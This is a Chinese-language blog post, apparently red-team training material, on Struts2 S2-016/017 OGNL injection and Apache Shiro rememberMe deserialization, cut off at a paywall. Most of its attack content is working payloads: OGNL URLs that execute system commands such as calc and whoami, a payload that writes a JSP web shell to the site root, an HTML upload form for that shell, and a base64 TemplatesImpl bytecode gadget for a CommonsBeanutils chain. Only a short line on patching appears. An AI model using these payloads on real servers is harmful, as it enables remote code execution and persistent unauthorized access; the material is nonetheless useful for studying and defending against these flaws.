红队专题-漏洞挖掘-代码审计-反序列化

原创 已于 2025-06-18 13:44:05 修改 · 2.1k 阅读 · 4 ·
CC 4.0 BY-SA版权
amingMM
文章标签：

#web安全 #安全

于 2025-04-21 09:56:17 首次发布
本文详细介绍了Java Web中常见的反序列化漏洞，包括Struts2和FastJson的利用方法，如CommonsCollections链、FastJson的各种绕过策略，并提供了漏洞修复建议，帮助提升应用安全性。

白帽子修炼漏洞进阶篇

  • Java

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • java 反序列化

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

Struts2 s2-016/017漏洞

DefaultActionMapper类

支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀，
但是这些前缀后面同时可以跟OGNL表达式，
由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令。

将“redirect:”前缀后面的内容设置到redirect.location当中，

getMapping函数跟入

在这里插入图片描述
这里一直到这个handleSpecialParameters()，继续跟入:
在这里插入图片描述
在这里插入图片描述
这里真正传入OGNL表达式是在这个parameterAction.execute()中，
继续跟入来到DefaultActionMapper.java的代码。
在这里插入图片描述
这里key.substring(REDIRECT_PREFIX.length())便是前缀后面的内容也就是OGNL表达式，
struts2会调用setLocation方法将他设置到redirect.location中。
然后这里调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里，
如图所示:
在这里插入图片描述
然而上面的过程只是传递OGNL表达式，真正执行是在后面，
这里是在FilterDispatcher类中的dispatcher.serviceAction()方法，
这里的mapping对象中设置了传入的OGNL。
在这里插入图片描述

这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL。
在这里插入图片描述

我们构造一个调用本地计算器的PoC：

http://10.1.1.4:8080/trainin/EN_index.action?
redirect:$
{
   
   %23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{
   
   'calc'})).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew%20java.io.InputStreamReader(%23b),
%23d%3dnew%20java.io.BufferedReader(%23c),
%23e%3dnew%20char[50000],
%23d.read(%23e),
%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
%23matt.getWriter()}

在浏览器中输入上述URL，漏洞重现：

在这里插入图片描述

在这里插入图片描述

判断一个使用了struts2框架的网站是否存在漏洞

  任务描述：依据上述漏洞分析及给出的poc，并参照官方文档

  http://struts.apache.org/release/2.3.x/docs/s2-017.html

  http://struts.apache.org/release/2.3.x/docs/s2-016.html

提示一：

  官方的poc:

  http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

  http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23

  请输入你所构造的POC:

  http://10.1.1.145/struts2/training/EN_index.action?redirect:http://www.baidu.com

  （redirect:后面的网址可以任意替换）

提示二：

  ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext。
  拿到一个HttpServletResponse响应对象后就可以调用getWriter方法
  (返回的是PrintWriter)让Servlet容器上输出[/ok]了，
  而其他的POC也都做了同样的事：拿到HttpServletResponse，然后输出[/ok]。

在这里插入图片描述
请输入你所构造的POC:

      http://10.1.1.145/struts2/training/EN_index.action?
      redirect:$
      {
   
   %23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
       %23w.println('[/ok]'),%23w.flush(),%23w.close()}

（[/ok]可以为任意内容,能输出即可）

提示三：

延迟判断：先让线程sleep一段时间，再去计算时间差来判断漏洞是否存在。

构造的POC #_memberaccess

      http://10.1.1.145/struts2/training/EN_index.action?redirect:${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}.action

（依据是否使用了sleep方法来评判）


---- 

在存在漏洞的网站上执行系统命令

      任务描述：依据漏洞分析及给出的poc构造一个能执行系统命令的POC。

      提示：在漏洞分析给出的POC 基础上改动某个部分即可，请仔细思考。



![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/6b746196bfe99b40183e15cf874d1555.png)

   请输入你所构造的POC:

   

```powershell
   http://10.1.1.145/struts2/download/EN_productdownload.action?
   redirect:$
   {%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),
   %23b%3d%23a.getInputStream(),
   %23c%3dnew%20java.io.InputStreamReader(%23b),
   %23d%3dnew%20java.io.BufferedReader(%23c),
   %23e%3dnew%20char[50000],%23d.read(%23e),
   %23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
   %23matt.getWriter().println(%23e),
   %23matt.getWriter().flush(),%23matt.getWriter().close()}


  （'netstat','-an'这里可以为其他系统命令）

在这里插入图片描述在这里插入图片描述

依据漏洞分析及给出的poc构造一个GETSHELL POC

  提示：文件写入

  请输入你所构造的POC:

      http://10.1.1.145/struts2/download/EN_productdownload.action?redirect:$
      {
   
   %23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
      %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\", "/"),
      new+java.io.BufferedWriter(new+java.io.FileWriter(%23p))
      .append(%23req.getParameter(%22c%22))
      .close()}&c=%3c%25if(request
      .getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application
      .getRealPath(%22%2f%22)%2brequest
      .getParameter(%22f%22)))
      .write(request.getParameter(%22t%22).getBytes())%3b%25%3e

在这里插入图片描述
在网站根目录下写入一句话css3.jsp

  将以下代码保存为html，提交code后获得shell

在这里插入图片描述

<form action="http://10.1.1.59/struts2/css3.jsp?f=css1.jsp" method="post">

      <textarea name=t cols=120 rows=10 width=45>code</textarea><BR><center><br>

      <input type=submit value="提交">

      </form>

  Shell地址：

  http://10.1.1.145/struts2/css1.jsp

在这里插入图片描述

依据你对漏洞的分析，对该网站进行加固并验证漏洞是否再现

加固:

更新最新Struts2 lib包即可

更新文件清单：Commons-* 、Stuts2-* 、 Xwork-core-* 、Ognl-*

加固后的验证结果：

使用之前漏洞判断的POC验证即可。

struts2 拿 webshell
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

REST插件反序列化漏洞（CVE-2017-5638）

在这里插入图片描述

开发知识点-JAVA-springboot+Spring Security/Shiro

Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS

原理

Shiro是Apache下的一个开源Java安全框架，执行身份认证，授权，密码和会话管理。

shiro在用户登录时除了账号密码外还提供了可传递选项remember me 记住密码的功能。

用户在登录时如果勾选了remember me选项，
生成经过加密并编码的 cookie。

那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求，就不需要重新输入用户名和密码。
在服务端对rememberMe的cookie值，先base64解码然后AES解密再反序列化，就导致了反序列 化RCE漏洞

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie 值

1.数据返回包中包含rememberMe=deleteMe字段。

2.直接发送原数据包，返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段：****rememberMe=然后查看返回数据包中是否存在关键字。    


shiro-550：    



shiro<1.2.4时，AES加密的密钥Key被硬编码在代码里，
只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。


另外就是shiro在验证rememberMe时使用了readObject方法，readObject用来执行反序列化后需要执行的代码片段，从而造成恶意命令可以被执行。

攻击者构造恶意代码，并且序列化，AES加密，base64编码后，作为cookie的rememberMe字段发送。
Shiro将rememberMe进行编码，解密并且反序列化，最终造成反序列化漏洞。




shiro-721：    
Shiro721的ase加密的key基本猜不到，系统随机生成，可使用登录后rememberMe去爆破正确的key值，
利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。

Shiro反序列化

https://mp.weixin.qq.com/s/r6_77jiWbk5TAQpz9aGyjA

https://xz.aliyun.com/t/12207#toc-15
https://xz.aliyun.com/t/9409

https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/

https://blog.csdn.net/u011240877/article/details/54604212

https://xz.aliyun.com/t/12692

shiro 无赖链利用





Shiro是一个强大且易于使用的开源Java安全框架，用于身份验证、授权和会话管理等安全领域的功能。它提供了一套简单而灵活的API和插件体系结构，方便开发者在应用程序中添加身份验证和授权功能。

Shiro的主要特点和功能包括：

1. 认证：Shiro提供了灵活的身份验证功能，支持用户名/密码认证、基于角色的认证、基于资源的认证以及自定义认证机制。开发者可以根据具体需求选择合适的认证方法，并进行个性化配置。
    
2. 授权：Shiro提供了细粒度的授权功能，支持基于角色的授权、基于资源的授权以及自定义授权方式。开发者可以通过简单的注解或编程方式为应用程序中的方法和URL设置访问权限。
    
3. 会话管理：Shiro提供了可靠的会话管理功能，支持将会话数据存储在内存、数据库或分布式缓存中。它还支持单点登录和集群环境下的会话共享，保证了用户在多个应用中的无缝访问体验。
    
4. 密码加密：Shiro提供了密码加密功能，可以将用户密码进行加密存储，提高系统的安全性。它支持多种哈希算法和加密策略，如MD5、SHA、AES等。
    
5. 第三方集成：Shiro易于与其他框架和技术进行集成，如Spring、Spring Boot、Apache Struts和Java EE等。这使得开发者可以方便地将Shiro集成到现有的应用程序中，而无需重写现有代码。
    

Shiro是一个开源项目，源代码托管在Apache Software Foundation（ASF）的仓库中，并采用Apache License 2.0开源许可证。这意味着任何人都可以自由获取、使用、修改和分发Shiro的源代码。虽然Shiro并非来自中国，但它是一个全球范围内广泛使用的安全框架，并得到了全球开发者社区的贡献和支持。








 https://mp.weixin.qq.com/s/Q1iJthr6Pdljr3yXoTN-Cg
 JAVA攻防基础之Shiro漏洞分析与利用
 
 
 shiro是存在commons-beanutils的依赖的，

 可以通过构造原生的CB1的链进行攻击shiro，
 但是我们通过ysoserial的CB1的链会发现其实并不会成功。

`
在这里插入图片描述
因为CB1的链里面其实是依赖于commons.collections包里面的部分内容的。
我们构造BeanComparator的时候会调用，
当没有显式传入Comparator 的情况下，
则默认使用ComparableComparator

在这里插入图片描述
解决办法
那么我们如何避免如上情况呢，
就需要找一个ComparableComparator的替代品。

这个替代品需要满足如下几个情况：

实现java.util.Comparator 接口
实现java.io.Serializable 接口
Java、shiro或commons-beanutils自带，且兼容性强

通过对实现Serializable接口的类以及实现Comparator接口的类的对比，师傅们发现如下类：

CaseInsensitiveComparator
java.util.Collections$ReverseComparator

1.CaseInsensitiveComparator
CaseInsensitiveComparator这个类是java.lang.String 类下的一个内部私有类，
实现了Comparator以及Serializable接口，并且可以通过String的内部的CASE_INSENSITIVE_ORDER值即可获取到

在这里插入图片描述
2.java.util.Collections$ReverseComparator
这个类也是jdk原生的Collections类里面的内部类，
他同样实现了Comparator以及Serializable接口，并且可以通过Collections的reverseOrder()静态方法获取到。

在这里插入图片描述

改造payload
通过如上我们的分析之后，我们知道只需要避开 ComparableComparator这个类，
用我们找到的替代类来构造BeanComparator的时候就可以了。

1.首先创建恶意的TemplateImpl：

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl
最低0.47元/天 解锁文章
amingMM
关注
博客
开发知识点-前端-微信小程序开发
04-27 760
　TP5+商城小程序——静态调用还是实例对象调用Apache详解 :QSA,PT,L,E参数的作用AOP 面向切面 编程思想 提取这样就完成了如下所示 空白自定义建立底部tar文件夹 不然会报错好了 根据状态bar 拉伸的小程序 bar 做好了顶部自定义准备好 后 我们导入我们小程序 万能美化包且完成我们顶部搜索模版大框且引入模版 准备测试效果额，，，emmmm~ 看到了 我们美化模板 的位置不怎么友好我们把他们的位置调整一下横纵都来一下。
博客
Android原生开发基础
04-27 863
发展历史 发行版本加载 布局模拟器 系统版本 getcolor对 服务器 传参 不一样。
博客
红队系列-网络安全知识锦囊-CTF(持续更新)
04-25 1204
wireshark古典密码 现代密码学图片 视频 音频隐写photoshop攻击脚本writeup 官方 给的 解题思路web misc 密码学轮数限制 服务器 xxx掉混合模式 防守模式实战模式编码方式?id-2%df%df 只要 大于128 就可hackbar 用时尽量转码注入 语句 前缀。
博客
人工智能-小说动漫AIGC文生图模型研究
04-06 1309
利用人工智能技术自动或半自动生成文本、图像、音频、视频等内容的新型技术形态。AIGC的核心技术包括生成对抗网络、Transformer架构和扩散模型等，这些技术通过海量数据训练，使AI系统能够捕捉人类创作模式，并生成符合逻辑的内容。stable diffusion 免费 创绘。
博客
vue-i18n国际化多国语言
01-11 929
new实例的时候在这里面new比较好，不要去什么main.js里面new然后再挂载，因为在国家化的过程中，有很大概率在外部js中也有文字需要国际化，这时就没办法在外部js访问到国际化实例了。注意：uni.setLocale()方法需要在this.$i18n.locale切换语言之后再调用，否则app端会有问题，语言切换不能实时显示。如tabBar.home为首页tabbar对应的key，key后面的值代表当前的语言环境文字，中文环境下为“首页”，英文环境下为home，key命名的时候尽量语义化一点。
博客
MacBook_Xcode_Swift雨燕
01-03 944
其简洁语法、类型安全、Optionals处理、Playgrounds交互式环境、泛型编程、协议与扩展、闭包功能、枚举与关联值、结构体与类的高效内存管理、异步编程的async/await语法、Swift Package Manager依赖管理工具、SwiftUI声明式界面构建以及Combine响应式编程框架，共同构成了Swift的全面特性。Swift以其强大的功能和安全性提供了一个卓越的开发体验，并且随着技术发展，Swift将继续引入创新特性以提升开发效率和应用质量。作为Apple平台开发者的首选语言，
博客
JavaScript
12-25 867
对象解构语法可以让你从一个对象中提取出若干属性，然后将其赋值给对应的变量，让代码看起来更简洁、易读。这在处理复杂的数据结构时尤为有用，例如从 API 返回的 JSON 数据中提取出需要的属性。字符串数组。使用解构赋值语法将数组的元素按照顺序依次赋值给对应的变量。不足元素，对应位置的变量将会被赋值为 undefined。
博客
shellcode AV bypass Evasion免杀合集
12-13 1261
360全家桶360核晶引擎网防G01火绒百度腾讯安全狗金山瑞星江民 (iangMin)江民科技—终端安全守护者 官网 (jiangmin.com)Kaspersky 卡巴斯基针对于内存的查杀企业版易视诺德它是迄今作为先进杀毒技术———启发式杀毒（Heuristic），最具准确高效的杀毒软件，国外很权威的防病毒软件评测给了NOD32很高的分数，在全球共获得超过40多个奖项麦咖啡AVG科摩多火眼诺顿启发式查杀很厉害，需要给木马加入正常程序的图标、版
博客
红队专题-远程控制软件RAT-Cobaltstrike
12-11 1499
Cobalt Strike 是一款 美国Red Team开发的 商业GUI框架式 优秀的渗透测试工具协作平台 简称CS主要用于执行有目标的红队行动攻击和模拟高级威胁者对手的后渗透行动。可以利用网络漏洞获取主机权限后、从一个强大的图形界面控制所有的活动。Cobalt Strike 前身名为 Armitage(一个MSF的社区版图形化界面工具)因此可见，Cobalt Strike 与 Metasploit 的兼容性十分良好.Cobaltstrike大家可以理解其为Armitage的商业版。
博客
恶意代码分析
12-09 2073
著名防火墙公司Palo Alto Networks近日在官网公布了一个CVE-2024-3400的漏洞信息，该漏洞存在于部分PAN-OS系统的GlobalProtect功能中，在某些配置打开的情况下，攻击者可以对运行该系统的设备进行未授权RCE，并且拿到系统的root权限。A5.这一恶意代码会使用高层API函数连接到一个远程的FTP服务器，我们可以下载并建立一个本地FTP服务器，并将DNS请求重定向至这一服务器，以充分分析该恶意代码。所以，其一旦广泛传播开便极难彻底清除。然后启动lab20-2.exe。
博客
前端框架-小程序uniApp
12-03 1465
获取集合Collection示例如下。nosql 非关系型数据库。
博客
web3去中心化
11-14 1564
以以太坊（Ethereum）为主流，也包括Solana、Aptos等其他非EVM链。区块链本身是软件，需要运行在一系列节点上，这些节点组成P2P网络或者半中心化网络。节点不仅负责接收新的输入并生成新的区块，还需要存储区块链运行时产生的所有数据，并负责同步、对外提供查询等RPC服务。
博客
项目技术栈-解决方案-注册中心
11-14 391
服务注册中心（Registry）：用于保存 RPC Server 的注册信息，当 RPC Server 节点发生变更时，Registry 会同步变更，RPC Client 感知后会刷新本地 内存中缓存的服务节点列表。服务提供者（RPC Server）：在启动时，向 Registry 注册自身服务，并向 Registry 定期发送心跳汇报存活状态。
博客
项目技术栈-解决方案-消息队列
11-14 1214
优选Kafka。
博客
微服务和VUE入门教程(16)： zuul 熔断
07-20 778
1. 前言在开发工程中，我们发现当一个微服务挂掉之后，如果我们访问此微服务的接口，zuul也会挂掉。因为zuul负责分配请求，当目标微服务挂掉之后，zuul便找不到目标微服务，因为我们需要设置一个熔断，即使寻找不到目标微服务，zuul也不会挂掉。比如我们停掉my-user微服务，然后访问其中的一个接口，zuul会出现以下错...
博客
PHP_CMS系统代码解析-wordpress
06-05 638
WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统(CMS)来使用。模板基本文件使用模板通过函数的调用，让模板之间形成完整的整体。style.css : CSS(样式表)文件index.php : 主页模板archive.php : Archive/Category模板...
博客
机器学习与量化交易 分类任务
06-05 905
> Julyedu.com 感谢 白嫖的 七月在线 专注数据领域的在线教育01 自动化交易综述时间序列分析策略建模及其优化方法策略评价与回测风险管理交易策略的实现交易策略的执行BP(Back Proppagation)算法误差反向传播(Error Back Propagation, BP)算法。学习过程由信号的正向传播与误差的反向传播两个过程组成。Algorithmic Tra...
博客
vue-i18n国际化多国语言
06-03 717
uniapp是自带有i18n这个插件需要自己去给每一个需要国际化的字符去手动配置key，所以如果是已经完成的项目可能工作量就稍微有点大了第一步：语言命名是有规范的不能乱取名，具体可以参考国际语言代码https://blog.csdn.net/weixin_44988005/article/details/113826664https://blog.csdn.net/hcx_2008/a...
博客
雷池waf功能代码剖析
05-31 616
看到他们发文章​-动态防护功能？了解一下具体是什么功能就是处理了一下 html 和 js看一下雷池代码的 构成是 后台的代码Go 语言使用Gin框架启动一个API服务器...
博客
漏洞复现-H3C系列
03-15 1991
H3C用户自助服务平台是一种基于云计算和自动化技术的管理平台，旨在提供自助式、智能化的网络设备和服务管理解决方案。该平台通过集成多种功能和工具，帮助企业用户更高效地管理和维护其网络设备，并提供更好的用户体验。H3C用户自助服务平台dynamiccontent.properties.xhtml接口处存在命令执行漏洞，未经身份验证的攻击者可以利用此漏洞执行任意指令，写入后门文件，导致整个web服务器存在被控的风险。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值